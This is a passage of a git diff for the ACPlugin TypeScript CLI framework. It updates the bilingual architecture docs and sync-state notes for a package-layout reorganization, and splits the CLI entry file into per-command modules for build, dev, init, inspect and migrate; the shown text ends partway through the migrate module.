b/llmdoc/overview/project.zh-CN.md index 3416d74..207ec5b 100644 --- a/llmdoc/overview/project.zh-CN.md +++ b/llmdoc/overview/project.zh-CN.md @@ -38,7 +38,7 @@ Node Runtime 是 Framework Resource,不是 Extension package。默认把 `src/ Workspace catalog 把各 Package 的 `tsc` 映射到 `@typescript/native`。仍依赖旧 Compiler API 的工具使用隔离的 `@typescript/typescript6` 别名;生产 Package 的类型检查保持 TypeScript 7。 -CLI 与作者 façade 位于 `packages/acplugin/src/cli.ts`、`src/index.ts`;`src/sdk.ts` 是 Integration 实现唯一入口。Core 固定生命周期由 `packages/core/src/kernel/build-session.ts` 实现,`Project.dev()` 的每个重建轮次也委托给同一 BuildSession。 +CLI 与作者 façade 位于 `packages/acplugin/src/cli.ts`、`src/cli/`、`src/index.ts` 和 `src/author/`;`src/sdk.ts` 是 Integration 实现唯一入口。Core 固定生命周期由 `packages/core/src/lifecycle/build-session.ts` 实现,`Project.dev()` 的每个重建轮次也委托给同一 BuildSession。 ## Migration 边界 diff --git a/llmdoc/reference/conversion-matrix.md b/llmdoc/reference/conversion-matrix.md index b5c6669..5a13e19 100644 --- a/llmdoc/reference/conversion-matrix.md +++ b/llmdoc/reference/conversion-matrix.md @@ -55,16 +55,16 @@ Remote MCP authoring is declarative: the author supplies an endpoint and secret | Concern | Source of truth | | --- | --- | -| Config, author types, and Integration SDK contracts | `packages/core/src/kernel-types.ts`, `kernel-contracts.ts` | +| Config, author types, and Integration SDK contracts | `packages/core/src/contracts/`, `api/definitions.ts`, `api/author.ts`, `api/integration.ts` | | Canonical/Public/Runtime/Extension discovery | `packages/core/src/resources/` | -| Fixed lifecycle and Platform isolation | `packages/core/src/kernel/build-session.ts` | +| Fixed lifecycle and Platform isolation | `packages/core/src/lifecycle/build-session.ts` | | Package, Document, Contribution, and report registries | `packages/core/src/package/` | -| Transactional output | `packages/core/src/transaction.ts` | +| Transactional output | `packages/core/src/output/transaction.ts` | | Platform output contracts | `packages/platforms//src/` | | Hooks discovery, compilation, and Platform Contributors | `packages/extensions/hooks/src/` | | MCP discovery, compilation, and Platform Contributors | `packages/extensions/mcp/src/` | -| Public facade, SDK, and Project config loading | `packages/acplugin/src/index.ts`, `sdk.ts`, `project.ts` | -| CLI and isolated Migration boundary | `packages/acplugin/src/cli.ts`, `migration/` | +| Public facade, SDK, and Project config loading | `packages/acplugin/src/index.ts`, `sdk.ts`, `author/project.ts` | +| CLI and isolated Migration boundary | `packages/acplugin/src/cli.ts`, `cli/`, `migration/` | Platforms own base Package paths, Documents, manifests, schemas, final Package identity, distributions, and candidate validation. Extension Contributors all read the same immutable base Package and may add owned Assets, fill declared add-only Document extension points, and report compatibility. They cannot observe other Contributions, replace a Platform, or write `dist` directly. diff --git a/llmdoc/reference/conversion-matrix.zh-CN.md b/llmdoc/reference/conversion-matrix.zh-CN.md index 4e04477..b0f9008 100644 --- a/llmdoc/reference/conversion-matrix.zh-CN.md +++ b/llmdoc/reference/conversion-matrix.zh-CN.md @@ -55,16 +55,16 @@ Platform-only 事件保持显式平台限定,不会扩充可移植事件联合 | 关注点 | 事实来源 | | --- | --- | -| Config、作者类型与 Integration SDK 契约 | `packages/core/src/kernel-types.ts`、`kernel-contracts.ts` | +| Config、作者类型与 Integration SDK 契约 | `packages/core/src/contracts/`、`api/definitions.ts`、`api/author.ts`、`api/integration.ts` | | Canonical/Public/Runtime/Extension 发现 | `packages/core/src/resources/` | -| 固定生命周期与 Platform 隔离 | `packages/core/src/kernel/build-session.ts` | +| 固定生命周期与 Platform 隔离 | `packages/core/src/lifecycle/build-session.ts` | | Package、Document、Contribution 与报告 Registry | `packages/core/src/package/` | -| 事务化输出 | `packages/core/src/transaction.ts` | +| 事务化输出 | `packages/core/src/output/transaction.ts` | | Platform 输出契约 | `packages/platforms//src/` | | Hooks 发现、编译与 Platform Contributor | `packages/extensions/hooks/src/` | | MCP 发现、编译与 Platform Contributor | `packages/extensions/mcp/src/` | -| 公开 façade、SDK 与 Project 配置加载 | `packages/acplugin/src/index.ts`、`sdk.ts`、`project.ts` | -| CLI 与隔离 Migration 边界 | `packages/acplugin/src/cli.ts`、`migration/` | +| 公开 façade、SDK 与 Project 配置加载 | `packages/acplugin/src/index.ts`、`sdk.ts`、`author/project.ts` | +| CLI 与隔离 Migration 边界 | `packages/acplugin/src/cli.ts`、`cli/`、`migration/` | Platform 拥有 base Package 路径、Document、Manifest、Schema、最终 Package 身份、Distribution 与候选校验。所有 Extension Contributor 读取同一个不可变 base Package,只能增加自有 Asset、填写已声明的 add-only Document extension point 并报告兼容性;不能观察其他 Contribution、替换 Platform 或直接写入 `dist`。 diff --git a/llmdoc/state/sync.md b/llmdoc/state/sync.md index 71c06ab..0dc4f93 100644 --- a/llmdoc/state/sync.md +++ b/llmdoc/state/sync.md @@ -1,8 +1,8 @@ # llmdoc sync state -- Baseline commit: `9086b37c21bcc700e163043abfb050f91242ffe9` +- Baseline commit: `889da323a73d0016870390be32f82cc0c79c6a00` - Mode: `full` -- Workflow: the Kernel v2 rewrite has completed grill-with-docs, specification, tickets, implementation, and T14 full validation. It is paused for maintainer review before the final two-axis code review. All changes remain local and uncommitted, with no push, publication, Tag, Release, dist-tag, or registry mutation. +- Workflow: the architecture rewrite and the follow-up package-layout reorganization have completed grill-with-docs, specification, T01–T16 implementation, full validation, and final two-axis code review. All review findings were remediated and rechecked. All changes remain local and uncommitted, with no push, publication, Tag, Release, dist-tag, or registry mutation. - Architecture: ACPlugin is a Rolldown-based AI Plugin framework and CLI. Core owns the only lifecycle, Module/Compiler/Execution/Watch services, Source/Asset authorization, Package merge, candidate materialization, compatibility report, transaction, and DevSession. `LIFECYCLE_API_VERSION` remains `1` by explicit product decision; no v1 compatibility layer remains. - Public packages: nine independently versioned packages comprise the main package, six Platform packages, and Hooks/MCP Extensions. Core, Test, Docs, and Playground are private. Node Runtime is a Core Framework Resource, not an Extension package. - Public boundaries: authors use the root `@tokenroll/acplugin` entry and only `defineConfig()` as a define helper. Platform and Extension implementations use `@tokenroll/acplugin/sdk`. The main package bundles private Core but does not bundle or re-export official integrations; public tarballs have no private `@acplugin/*` runtime dependency. @@ -19,10 +19,10 @@ - Reports and output: BuildReport schema v2 describes Components, Runtimes, Extensions, Platforms, Packages, Assets with structured origin, compatibility, metadata dispositions, and stage diagnostics. Stable output excludes bytes, timestamps, environment values, credentials, absolute project paths, and temporary roots. The selected Platform set is committed by one recoverable whole-output transaction. - Playground/docs/release: the domain-neutral Playground exercises all Components, Hook events, HTTP/stdio MCP, Core Runtime, Public files, six Platforms, supported Distributions, deterministic bytes, and real protocol execution. VitePress and TypeDoc cover author and `/sdk` APIs. Release verification uses the same nine-package ecosystem version snapshot as init and Migration and validates packed clean consumers. - Migration: legacy input support stays lazily isolated under `packages/acplugin/src/migration/`. It uses the real Project/Kernel lifecycle for generated-project validation but is not a second normal build path; tolerant legacy readers are not mechanically rewritten to match strict Core internals. -- Cleanup: obsolete Scanner/config/lifecycle/Artifact/DeliveryUnit implementations, Integration-local bundlers, adapter-era files, and `output-paths.ts` are removed. Architecture guards allow no v1 production symbol, confine Rolldown to the Core driver, and confine Chokidar to Core DevSession. +- Cleanup: obsolete Scanner/config/lifecycle/Artifact/DeliveryUnit implementations, Integration-local bundlers, adapter-era files, `output-paths.ts`, Core `kernel/`, transitional root modules, old Platform root package implementations, monolithic Extension tests, and stale test-name suffixes are removed. Core source and tests now mirror explicit contract, compiler, resource, lifecycle, package, output, service, and security domains. Architecture guards allow no v1 production symbol, confine Rolldown to the Core driver, and confine Chokidar to Core DevSession. - Release state: manifests retain the maintainer-requested beta versions: main `0.0.2-beta`, Codex `0.0.3-beta`, and the other five Platforms plus Hooks/MCP `0.0.2-beta`. Changesets describe the architecture rewrite but have not been consumed. -- Validation: the final frozen install, lint and 195-file comment guard, TypeScript 7 typecheck, all 279 Vitest tests, tsdown build, ATTW, publint, TypeDoc, VitePress, real Playground verification, and nine-tarball clean-consumer release verification pass. Changeset status lists exactly the nine public packages. Static audits find no v1 production symbol or deleted legacy file, keep direct Rolldown ownership in `compiler/engine-loader.ts`, keep Chokidar ownership in `kernel/dev-session.ts`, find no Integration `dist` write, and both staged and unstaged Git whitespace checks pass. -- Review state: the two supplied cross-reviews were evidence-checked and their true findings were converted into T1–T14. Final overall code review is intentionally deferred until T14 passes and the maintainer completes an overall review. +- Validation: the final frozen install, lint and comment guard, TypeScript 7 typecheck, all Vitest tests, tsdown build, ATTW, publint, TypeDoc, VitePress, real Playground verification, and nine-tarball clean-consumer release verification pass. Changeset status lists exactly the nine public packages. Static audits find no v1 production symbol or deleted legacy file, keep direct Rolldown ownership in `compiler/engine-loader.ts`, keep Chokidar ownership in `lifecycle/dev-session.ts`, find no Integration `dist` write, and both staged and unstaged Git whitespace checks pass. +- Review state: the supplied cross-reviews and the final Standards/Spec review were evidence-checked. The final review found one stale repository-skill path set and five transitional test names; both findings were fixed and independently rechecked with no remaining findings. ```text pnpm install --frozen-lockfile diff --git a/packages/acplugin/src/project.ts b/packages/acplugin/src/author/project.ts similarity index 86% rename from packages/acplugin/src/project.ts rename to packages/acplugin/src/author/project.ts index 8ac6342..d72ea1f 100644 --- a/packages/acplugin/src/project.ts +++ b/packages/acplugin/src/author/project.ts @@ -8,8 +8,8 @@ import type { CreateProjectOptions, Project, RunProjectOptions, -} from '@acplugin/core/kernel-author'; -import { ACPLUGIN_VERSION } from './version.js'; +} from '@acplugin/core/author'; +import { ACPLUGIN_VERSION } from '../ecosystem/framework-version.js'; export { ProjectConfigError }; diff --git a/packages/acplugin/src/cli.ts b/packages/acplugin/src/cli.ts index 32c2f34..f14ad8f 100644 --- a/packages/acplugin/src/cli.ts +++ b/packages/acplugin/src/cli.ts @@ -1,391 +1,6 @@ #!/usr/bin/env node -import process from 'node:process'; -import { Command, CommanderError, Option } from 'commander'; -import { - ACPLUGIN_VERSION, - createProject, - initializeProject, - ProjectConfigError, - runProject, - serializeBuildReport, - type BuildMode, - type BuildReport, - type InitPlatformId, -} from './index.js'; -import { InitError } from './init.js'; - -/** validate、inspect、build 和 dev 命令共享的 CLI 选项。 */ -interface ProjectCliOptions { - /** 可选的工程相对 TypeScript 配置文件。 */ - config?: string; - /** 可选的已配置 Platform 子集。 */ - platform?: string[]; - /** 传递给配置函数的开发或生产模式。 */ - mode: BuildMode; - /** 是否只在 stdout 输出一个稳定 JSON 对象。 */ - json?: boolean; -} - -/** CLI 边界失败使用的脱敏诊断。 */ -interface CliFailureDiagnostic { - /** 稳定错误代码。 */ - code: string; - /** 配置诊断可保留 warning,命令边界本身只创建 error。 */ - severity: 'error' | 'warning'; - /** 不包含原始异常、绝对路径或凭据的安全消息。 */ - message: string; - /** 配置、命令或内部边界阶段。 */ - phase: string; -} - -/** 尚未产生 BuildReport 时使用的最小 CLI 失败报告。 */ -interface CliFailureReport { - /** Kernel v2 报告 schema。 */ - schemaVersion: 2; - /** 触发失败的子命令。 */ - command: string; - /** 可安全向用户展示的诊断。 */ - diagnostics: readonly CliFailureDiagnostic[]; - /** 边界失败固定为 false。 */ - success: false; -} - -/** 为 Project 子命令注册一致且不覆盖配置语义的选项。 */ -function addProjectOptions(command: Command, defaultMode: BuildMode): Command { - return command - .option('-c, --config ', 'Use another project-relative TypeScript config file') - .addOption(new Option('--platform ', 'Select a subset of configured Platforms')) - .addOption(new Option('--mode ', 'Config mode').choices(['development', 'production']).default(defaultMode)) - .option('--json', 'Emit one stable JSON report on stdout'); -} - -/** 按机器或人类可读模式输出完整 Kernel v2 报告。 */ -function writeReport(report: BuildReport, json: boolean | undefined): void { - if (json) { - process.stdout.write(serializeBuildReport(report)); - return; - } - /** 普通文本摘要使用的稳定状态词。 */ - const status = report.success ? 'success' : 'failed'; - /** 本次真正选中的 Platform ID。 */ - const selected = report.platforms.filter(platform => platform.selected).map(platform => platform.id); - process.stdout.write(`${report.command}: ${status} (${selected.join(', ')})\n`); - if (report.command === 'inspect') { - for (const component of report.components) - process.stdout.write(`component ${component.kind}/${component.id}\n`); - for (const runtime of report.runtimes) - process.stdout.write(`runtime ${runtime.id} ${runtime.kind} built:${runtime.built}\n`); - for (const extension of report.extensions) - process.stdout.write(`extension ${extension.id} resources:${extension.discovered}\n`); - for (const platform of report.platforms) - process.stdout.write(`platform ${platform.id} selected:${platform.selected} success:${platform.success} packages:${platform.packageIds.join(',')}\n`); - for (const unit of report.packages) { - process.stdout.write(`package ${unit.platform}/${unit.id} ${unit.role}:${unit.type}\n`); - for (const asset of unit.assets) - process.stdout.write(` asset ${asset.path} ${asset.owner} ${asset.mode.toString(8)} ${asset.size} ${asset.sha256}\n`); - } - for (const entry of report.compatibility) - process.stdout.write(`compatibility ${entry.platform} ${entry.subject}/${entry.capability} ${entry.level}: ${entry.reason}\n`); - for (const entry of report.metadata) - process.stdout.write(`metadata ${entry.platform} ${entry.field} ${entry.disposition}: ${entry.reason}\n`); - } - for (const diagnostic of report.diagnostics) - process.stderr.write(`${diagnostic.severity} ${diagnostic.code}: ${diagnostic.message}\n`); - for (const entry of report.compatibility) { - if (entry.level === 'degraded' || entry.level === 'unsupported') - process.stderr.write(`warning ${entry.platform} ${entry.subject}: ${entry.reason}\n`); - } -} - -/** JSON dev 不占用 stdout,只在 stderr 发布可观测轮次摘要。 */ -function writeDevProgress(report: BuildReport): void { - /** 与人类可读摘要一致的稳定状态词。 */ - const status = report.success ? 'success' : 'failed'; - /** 本轮实际选中的 Platform ID。 */ - const selected = report.platforms.filter(platform => platform.selected).map(platform => platform.id); - process.stderr.write(`${report.command}: ${status} (${selected.join(', ')})\n`); - for (const diagnostic of report.diagnostics) - process.stderr.write(`${diagnostic.severity} ${diagnostic.code}: ${diagnostic.message}\n`); -} - -/** 将配置或命令异常转换为不泄露内部详情的 CLI 报告。 */ -function failureReport(command: string, error: unknown, internal: boolean): CliFailureReport { - /** 配置和 init 错误保留安全原因,其余异常只输出固定消息。 */ - const diagnostics: readonly CliFailureDiagnostic[] = error instanceof ProjectConfigError - ? error.diagnostics - : error instanceof InitError - ? [{ code: 'INIT_INVALID', severity: 'error', message: error.message, phase: command }] - : [{ - code: internal ? 'FRAMEWORK_INTERNAL_FAILED' : 'COMMAND_FAILED', - severity: 'error', - message: internal ? 'The command failed inside the framework.' : `${command} failed.`, - phase: internal ? 'internal' : command, - }]; - return { schemaVersion: 2, command, diagnostics, success: false }; -} - -/** 展示尚未进入 Core 报告阶段的失败。 */ -function writeFailure(command: string, error: unknown, json: boolean | undefined, internal: boolean): void { - /** 从未知异常收敛出的安全失败报告。 */ - const report = failureReport(command, error, internal); - if (json) { - process.stdout.write(`${JSON.stringify(report, null, 2)}\n`); - return; - } - for (const diagnostic of report.diagnostics) - process.stderr.write(`${diagnostic.severity} ${diagnostic.code}: ${diagnostic.message}\n`); -} - -/** 根据最终结构化诊断区分成功、项目失败和框架内部失败。 */ -function exitCodeFor(report: BuildReport): 0 | 1 | 2 { - if (report.success) - return 0; - return report.diagnostics.some(diagnostic => diagnostic.code === 'INTERNAL_ERROR') ? 2 : 1; -} - -/** 运行一次 validate、inspect 或 build。 */ -async function runPipeline(command: 'validate' | 'inspect' | 'build', options: ProjectCliOptions): Promise { - try { - /** Project facade 与程序化 API 共用的唯一 BuildSession 报告。 */ - const report = await runProject({ - command, - mode: options.mode, - ...(options.config === undefined ? {} : { configFile: options.config }), - ...(options.platform === undefined ? {} : { platforms: options.platform }), - commit: command === 'build', - }); - writeReport(report, options.json); - process.exitCode = exitCodeFor(report); - } catch (error) { - /** 配置错误属于项目输入,其余未预期异常属于框架内部失败。 */ - const internal = !(error instanceof ProjectConfigError); - writeFailure(command, error, options.json, internal); - process.exitCode = internal ? 2 : 1; - } -} - -/** 只消费 Core Project DevSession,不在 CLI 维护第二套 Watch 或重建队列。 */ -async function runDev(options: ProjectCliOptions): Promise { - /** Project 固定工程与配置身份,DevSession 独占 Watch 和 BuildSession 调度。 */ - const project = createProject({ - ...(options.config === undefined ? {} : { configFile: options.config }), - }); - /** 成功创建后由 signal 幂等关闭的持续 Session。 */ - let session: Awaited> | undefined; - /** 防止多个终止信号重复处理退出。 */ - let stopping = false; - /** JSON 模式关闭时唯一输出的最近报告。 */ - let current: BuildReport | undefined; - /** 终止处理只请求 Core 关闭,不接管它的内部资源。 */ - const stop = (): void => { - if (stopping) - return; - stopping = true; - process.exitCode = 130; - /** close 可在完成终态后报告 cleanup 失败;signal 路径必须显式观察 rejection。 */ - void session?.close().catch(() => undefined); - }; - process.on('SIGINT', stop); - process.on('SIGTERM', stop); - try { - session = await project.dev({ - mode: options.mode, - ...(options.platform === undefined ? {} : { platforms: options.platform }), - commit: true, - }); - current = session.current; - if (stopping) { - await session.close(); - return; - } - if (!options.json) - writeReport(current, false); - else - writeDevProgress(current); - /** 订阅只负责 presentation,不参与调度、Watch 或事务。 */ - session.subscribe((event) => { - if (event.type !== 'build-complete') - return; - current = event.report; - if (!options.json) - writeReport(event.report, false); - else - writeDevProgress(event.report); - }); - await session.closed; - if (options.json && current !== undefined) - process.stdout.write(serializeBuildReport(current)); - if (!stopping && current !== undefined) - process.exitCode = exitCodeFor(current); - } catch (error) { - if (!stopping) { - /** 配置错误属于项目输入,其余 DevSession 创建异常属于框架内部失败。 */ - const internal = !(error instanceof ProjectConfigError); - writeFailure('dev', error, options.json, internal); - process.exitCode = internal ? 2 : 1; - } - } finally { - process.off('SIGINT', stop); - process.off('SIGTERM', stop); - } -} - -/** 构造完整 Commander 命令树,但不读取 argv 或退出进程。 */ -export function createCli(): Command { - /** 注册全局元数据和错误处理策略的 CLI 根命令。 */ - const program = new Command() - .name('acplugin') - .description('Build canonical AI plugin deliveries for configured Platforms') - .version(ACPLUGIN_VERSION) - .showHelpAfterError() - .exitOverride(); - - program.command('init') - .description('Create an opinionated canonical plugin project') - .argument('[directory]', 'New or empty destination directory') - .option('-y, --yes', 'Accept deterministic defaults') - .option('--name ', 'Plugin machine name') - .option('--display-name ', 'Plugin display name') - .option('--description ', 'Plugin description') - .option('--platform ', 'Select one or more configured Platforms') - .option('--hooks', 'Enable the official Hooks Extension') - .option('--mcp', 'Enable the official MCP Extension') - .option('--node-runtime', 'Generate a built-in Node Runtime entry') - .option('--install', 'Run pnpm install after scaffolding') - .option('--json', 'Emit one stable JSON result on stdout') - .action(async (directory: string | undefined, options: { - yes?: boolean; - name?: string; - displayName?: string; - description?: string; - platform?: InitPlatformId[]; - hooks?: boolean; - mcp?: boolean; - nodeRuntime?: boolean; - install?: boolean; - json?: boolean; - }) => { - try { - /** init 参数与交互结果共同生成的脚手架结果。 */ - const result = await initializeProject({ - ...(directory === undefined ? {} : { directory }), - ...(options.yes === undefined ? {} : { yes: options.yes }), - ...(options.name === undefined ? {} : { name: options.name }), - ...(options.displayName === undefined ? {} : { displayName: options.displayName }), - ...(options.description === undefined ? {} : { description: options.description }), - ...(options.platform === undefined ? {} : { platforms: options.platform }), - ...(options.hooks === undefined ? {} : { hooks: options.hooks }), - ...(options.mcp === undefined ? {} : { mcp: options.mcp }), - ...(options.nodeRuntime === undefined ? {} : { nodeRuntime: options.nodeRuntime }), - ...(options.install === undefined ? {} : { install: options.install }), - }); - if (options.json) - process.stdout.write(`${JSON.stringify({ schemaVersion: 2, success: true, ...result }, null, 2)}\n`); - else - process.stdout.write(`Created ${result.directory}\nNext: cd ${result.directory} && pnpm install && pnpm build\n`); - if (options.install && !result.installed) - process.exitCode = 1; - } catch (error) { - writeFailure('init', error, options.json, false); - process.exitCode = 1; - } - }); - - program.command('migrate') - .description('Migrate a legacy Claude project or plugin into canonical source') - .argument('', 'Local path or supported GitHub source') - .argument('[destination]', 'New destination directory') - .option('-p, --path ', 'Sub-path inside a GitHub repository') - .option('--plugin ', 'Select one marketplace plugin') - .option('--all', 'Migrate all marketplace plugins') - .option('--name ', 'Canonical plugin name for project input') - .option('--description ', 'Canonical plugin description for project input') - .option('--dry-run', 'Generate and validate in temporary storage without committing') - .option('--strict', 'Fail when any resource is degraded or unmapped') - .option('--json', 'Emit one stable JSON report on stdout') - .action(async (source: string, destination: string | undefined, options: { - path?: string; - plugin?: string; - all?: boolean; - name?: string; - description?: string; - dryRun?: boolean; - strict?: boolean; - json?: boolean; - }) => { - try { - // Migration 动态导入保持在独立 chunk,不进入正常配置与构建启动路径。 - const { migrate } = await import('./migration/index.js'); - /** 旧工程转换产生的结构化迁移报告。 */ - const report = await migrate({ - source, - ...(destination === undefined ? {} : { destination }), - ...(options.path === undefined ? {} : { subPath: options.path }), - ...(options.plugin === undefined ? {} : { plugin: options.plugin }), - ...(options.all === undefined ? {} : { all: options.all }), - ...(options.name === undefined ? {} : { name: options.name }), - ...(options.description === undefined ? {} : { description: options.description }), - ...(options.dryRun === undefined ? {} : { dryRun: options.dryRun }), - ...(options.strict === undefined ? {} : { strict: options.strict }), - }); - if (options.json) - process.stdout.write(`${JSON.stringify(report, null, 2)}\n`); - else - process.stdout.write(`Migration ${report.success ? 'succeeded' : 'failed'}: ${report.items.length} resource(s)\n`); - if (!report.success) - process.exitCode = 1; - } catch (error) { - writeFailure('migrate', error, options.json, false); - process.exitCode = 1; - } - }); - - addProjectOptions(program.command('validate').description('Validate all selected Platform packages'), 'production') - .action((options: ProjectCliOptions) => runPipeline('validate', options)); - addProjectOptions(program.command('inspect').description('Inspect all selected Platform packages'), 'production') - .action((options: ProjectCliOptions) => runPipeline('inspect', options)); - addProjectOptions(program.command('build').description('Build and atomically commit selected Platforms'), 'production') - .action((options: ProjectCliOptions) => runPipeline('build', options)); - addProjectOptions(program.command('dev').description('Watch and retain the last successful output'), 'development') - .action((options: ProjectCliOptions) => runDev(options)); - - return program; -} - -/** 解析 CLI 参数并把使用错误与框架内部错误映射为稳定退出码。 */ -export async function main(argv: readonly string[] = process.argv): Promise { - /** 当前调用独占的 Commander 命令树。 */ - const program = createCli(); - if (argv.length <= 2) { - program.outputHelp(); - return; - } - try { - /** `--` 之前用于识别已移除参数的真实选项候选。 */ - const argumentsAfterBinary = argv.slice(2); - /** Commander option 终止符位置。 */ - const terminator = argumentsAfterBinary.indexOf('--'); - /** 不包含位置参数文本的选项扫描范围。 */ - const scanned = terminator === -1 ? argumentsAfterBinary : argumentsAfterBinary.slice(0, terminator); - if (scanned.some(argument => argument === '--target' || argument === '-t' || argument.startsWith('--target='))) { - program.error('option \'--target\' has been removed; use \'--platform \' instead', { - exitCode: 2, - code: 'acplugin.legacyTarget', - }); - } - await program.parseAsync(argv); - } catch (error) { - if (error instanceof CommanderError) { - if (error.code === 'commander.helpDisplayed' || error.code === 'commander.version') - return; - process.exitCode = 2; - return; - } - process.stderr.write('internal error: the CLI failed inside the framework\n'); - process.exitCode = 2; - } -} +import { main } from './cli/program.js'; // 仅 CLI 入口模块执行 main;库入口不会触发参数解析。 await main(); diff --git a/packages/acplugin/src/cli/commands/build.ts b/packages/acplugin/src/cli/commands/build.ts new file mode 100644 index 0000000..efe3e3f --- /dev/null +++ b/packages/acplugin/src/cli/commands/build.ts @@ -0,0 +1,9 @@ +import type { Command } from 'commander'; +import { addProjectOptions, type ProjectCliOptions } from '../options.js'; +import { runPipeline } from './pipeline.js'; + +/** 注册 build 命令的薄参数适配。 */ +export function registerBuildCommand(program: Command): void { + addProjectOptions(program.command('build').description('Build and atomically commit selected Platforms'), 'production') + .action((options: ProjectCliOptions) => runPipeline('build', options)); +} diff --git a/packages/acplugin/src/cli/commands/dev.ts b/packages/acplugin/src/cli/commands/dev.ts new file mode 100644 index 0000000..4b11cf7 --- /dev/null +++ b/packages/acplugin/src/cli/commands/dev.ts @@ -0,0 +1,82 @@ +import process from 'node:process'; +import type { Command } from 'commander'; +import { + createProject, + ProjectConfigError, + serializeBuildReport, + type BuildReport, +} from '../../index.js'; +import { exitCodeFor, writeDevProgress, writeFailure, writeReport } from '../output.js'; +import { addProjectOptions, type ProjectCliOptions } from '../options.js'; + +/** 只消费 Core Project DevSession,不在 CLI 维护第二套 Watch 或重建队列。 */ +async function runDev(options: ProjectCliOptions): Promise { + /** Project 固定工程与配置身份,DevSession 独占 Watch 和 BuildSession 调度。 */ + const project = createProject({ + ...(options.config === undefined ? {} : { configFile: options.config }), + }); + /** 成功创建后由 signal 幂等关闭的持续 Session。 */ + let session: Awaited> | undefined; + /** 防止多个终止信号重复处理退出。 */ + let stopping = false; + /** JSON 模式关闭时唯一输出的最近报告。 */ + let current: BuildReport | undefined; + /** 终止处理只请求 Core 关闭,不接管它的内部资源。 */ + const stop = (): void => { + if (stopping) + return; + stopping = true; + process.exitCode = 130; + /** close 可在完成终态后报告 cleanup 失败;signal 路径必须显式观察 rejection。 */ + void session?.close().catch(() => undefined); + }; + process.on('SIGINT', stop); + process.on('SIGTERM', stop); + try { + session = await project.dev({ + mode: options.mode, + ...(options.platform === undefined ? {} : { platforms: options.platform }), + commit: true, + }); + current = session.current; + if (stopping) { + await session.close(); + return; + } + if (!options.json) + writeReport(current, false); + else + writeDevProgress(current); + /** 订阅只负责 presentation,不参与调度、Watch 或事务。 */ + session.subscribe((event) => { + if (event.type !== 'build-complete') + return; + current = event.report; + if (!options.json) + writeReport(event.report, false); + else + writeDevProgress(event.report); + }); + await session.closed; + if (options.json && current !== undefined) + process.stdout.write(serializeBuildReport(current)); + if (!stopping && current !== undefined) + process.exitCode = exitCodeFor(current); + } catch (error) { + if (!stopping) { + /** 配置错误属于项目输入,其余 DevSession 创建异常属于框架内部失败。 */ + const internal = !(error instanceof ProjectConfigError); + writeFailure('dev', error, options.json, internal); + process.exitCode = internal ? 2 : 1; + } + } finally { + process.off('SIGINT', stop); + process.off('SIGTERM', stop); + } +} + +/** 注册 dev 命令并保持 Core DevSession 的唯一所有权。 */ +export function registerDevCommand(program: Command): void { + addProjectOptions(program.command('dev').description('Watch and retain the last successful output'), 'development') + .action((options: ProjectCliOptions) => runDev(options)); +} diff --git a/packages/acplugin/src/cli/commands/init.ts b/packages/acplugin/src/cli/commands/init.ts new file mode 100644 index 0000000..0649dd0 --- /dev/null +++ b/packages/acplugin/src/cli/commands/init.ts @@ -0,0 +1,61 @@ +import process from 'node:process'; +import type { Command } from 'commander'; +import { initializeProject, type InitPlatformId } from '../../index.js'; +import { writeFailure } from '../output.js'; + +/** Commander 解析后的 init 选项。 */ +interface InitCliOptions { + readonly yes?: boolean; + readonly name?: string; + readonly displayName?: string; + readonly description?: string; + readonly platform?: InitPlatformId[]; + readonly hooks?: boolean; + readonly mcp?: boolean; + readonly nodeRuntime?: boolean; + readonly install?: boolean; + readonly json?: boolean; +} + +/** 注册 init 命令及其脚手架 facade 适配。 */ +export function registerInitCommand(program: Command): void { + program.command('init') + .description('Create an opinionated canonical plugin project') + .argument('[directory]', 'New or empty destination directory') + .option('-y, --yes', 'Accept deterministic defaults') + .option('--name ', 'Plugin machine name') + .option('--display-name ', 'Plugin display name') + .option('--description ', 'Plugin description') + .option('--platform ', 'Select one or more configured Platforms') + .option('--hooks', 'Enable the official Hooks Extension') + .option('--mcp', 'Enable the official MCP Extension') + .option('--node-runtime', 'Generate a built-in Node Runtime entry') + .option('--install', 'Run pnpm install after scaffolding') + .option('--json', 'Emit one stable JSON result on stdout') + .action(async (directory: string | undefined, options: InitCliOptions) => { + try { + /** init 参数与交互结果共同生成的脚手架结果。 */ + const result = await initializeProject({ + ...(directory === undefined ? {} : { directory }), + ...(options.yes === undefined ? {} : { yes: options.yes }), + ...(options.name === undefined ? {} : { name: options.name }), + ...(options.displayName === undefined ? {} : { displayName: options.displayName }), + ...(options.description === undefined ? {} : { description: options.description }), + ...(options.platform === undefined ? {} : { platforms: options.platform }), + ...(options.hooks === undefined ? {} : { hooks: options.hooks }), + ...(options.mcp === undefined ? {} : { mcp: options.mcp }), + ...(options.nodeRuntime === undefined ? {} : { nodeRuntime: options.nodeRuntime }), + ...(options.install === undefined ? {} : { install: options.install }), + }); + if (options.json) + process.stdout.write(`${JSON.stringify({ schemaVersion: 2, success: true, ...result }, null, 2)}\n`); + else + process.stdout.write(`Created ${result.directory}\nNext: cd ${result.directory} && pnpm install && pnpm build\n`); + if (options.install && !result.installed) + process.exitCode = 1; + } catch (error) { + writeFailure('init', error, options.json, false); + process.exitCode = 1; + } + }); +} diff --git a/packages/acplugin/src/cli/commands/inspect.ts b/packages/acplugin/src/cli/commands/inspect.ts new file mode 100644 index 0000000..1ff6a4c --- /dev/null +++ b/packages/acplugin/src/cli/commands/inspect.ts @@ -0,0 +1,9 @@ +import type { Command } from 'commander'; +import { addProjectOptions, type ProjectCliOptions } from '../options.js'; +import { runPipeline } from './pipeline.js'; + +/** 注册 inspect 命令的薄参数适配。 */ +export function registerInspectCommand(program: Command): void { + addProjectOptions(program.command('inspect').description('Inspect all selected Platform packages'), 'production') + .action((options: ProjectCliOptions) => runPipeline('inspect', options)); +} diff --git a/packages/acplugin/src/cli/commands/migrate.ts b/packages/acplugin/src/cli/commands/migrate.ts new file mode 100644 index 0000000..3f428ea --- /dev/null +++ b/packages/acplugin/src/cli/commands/migrate.ts @@ -0,0 +1,58 @@ +import process from 'node:process'; +import type { Command } from 'commander'; +import { writeFailure } from '../output.js'; + +/** Commander 解析后的 Migration 选项。 */ +interface MigrateCliOptions { + readonly path?: string; + readonly plugin?: string; + readonly all?: boolean; + readonly name?: string; + readonly description?: string; + readonly dryRun?: boolean; + readonly strict?: boolean; + readonly json?: boolean; +} + +/** 注册隔离 Migration 命令;实现继续只通过动态 import 加载。 */ +export function registerMigrateCommand(program: Command): void { + program.command('migrate') + .description('Migrate a legacy Claude project or plugin into canonical source') + .argument('', 'Local path or supported GitHub source') + .argument('[destination]', 'New destination directory') + .option('-p, --path ', 'Sub-path inside a GitHub repository') + .option('--plugin ', 'Select one marketplace plugin') 